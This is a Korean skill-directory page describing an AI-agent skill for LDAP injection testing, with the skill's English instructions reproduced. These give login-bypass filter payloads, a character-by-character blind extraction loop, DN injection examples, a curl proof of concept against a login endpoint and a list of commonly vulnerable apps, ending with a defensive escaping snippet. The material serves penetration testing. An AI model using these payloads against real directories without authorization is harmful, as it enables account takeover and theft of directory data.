본문으로 건너뛰기
Skillpedia
보안6.5k · #14068

ldapi

하는 일

이 스킬은 사용자 입력이 LDAP 디렉터리 검색 필터를 바꿀 수 있는 방식을 설명합니다. 로그인 폼과 디렉터리 조회를 점검하는 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓로그인 폼이 회사 디렉터리(LDAP 등)에서 사용자를 확인하는 경우.
  • ✓검색 페이지가 사용자 입력으로 디렉터리 질의를 만들 때.
  • ✓필터를 바꿔 비밀번호 확인을 건너뛸 수 있는지 점검하고 싶을 때.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“특수 문자를 넣어 우리 회사 디렉터리의 로그인 폼을 우회할 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 디렉터리 필터의 구조를 바꾸는 문자를 보내고 결과가 바뀌는지 살핍니다. 결과 변화를 이용해 데이터를 한 글자씩 알아낼 수도 있습니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

LDAP Injection

LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not). User input concatenated into the filter string = injection.

1. Auth bypass

# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"

# Payload — comment-out rest of filter via wildcard
user = "*"
pw   = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin

user = "admin)(|(uid=*"
pw   = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored

2. Blind extraction

# Boolean-blind: probe each char via wildcard match
for c in string.printable:
    payload = f"*)(uid=admin)(description={c}*)"
    if "found" in response:
        # next char is c

3. DN injection

# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins"  → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)

4. Common vulnerable apps

  • Custom auth backends w/ python-ldap or ldap3 lib direct-format
  • Legacy Java apps w/ JNDI w/o escaping
  • DokuWiki / older intranets

5. Tools

  • Manual via Burp Repeater (most cases need careful crafting)
  • ldapsearch to verify directly once you have any cred
  • Burp Intruder w/ payloads from _corpus/payloads/LDAP Injection/

6. PoC

curl -s -X POST $TARGET/login -d 'user=*&pass=*'   # if logged in → bug

7. Severity

Bug Severity
Auth bypass via wildcard Critical 9.8
Blind extract of full LDAP directory Critical 9.0
DN injection enabling group escalation High 8.0

8. Defender

import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')

Cross-references

  • Upstream catalog: skills/_corpus/payloads/LDAP Injection/
  • AD attack patterns (different layer): skills/ad/SKILL.md
자주 묻는 질문

LDAP 인젝션으로 무엇을 할 수 있나요?

이 스킬은 로그인 검사를 우회하고, 한 글자씩 테스트해 데이터를 빼낼 수 있다고 설명합니다.

구별 이름(DN)도 다루나요?

네. 사용자 입력으로 이름이 만들어질 때의 DN 인젝션도 다룹니다.

어떤 앱을 대상으로 언급하나요?

직접 만든 로그인 코드, 오래된 Java 앱, 오래된 사내 위키를 흔한 대상으로 언급합니다.

상세 정보

작성자의 원본 설명

LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14068
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬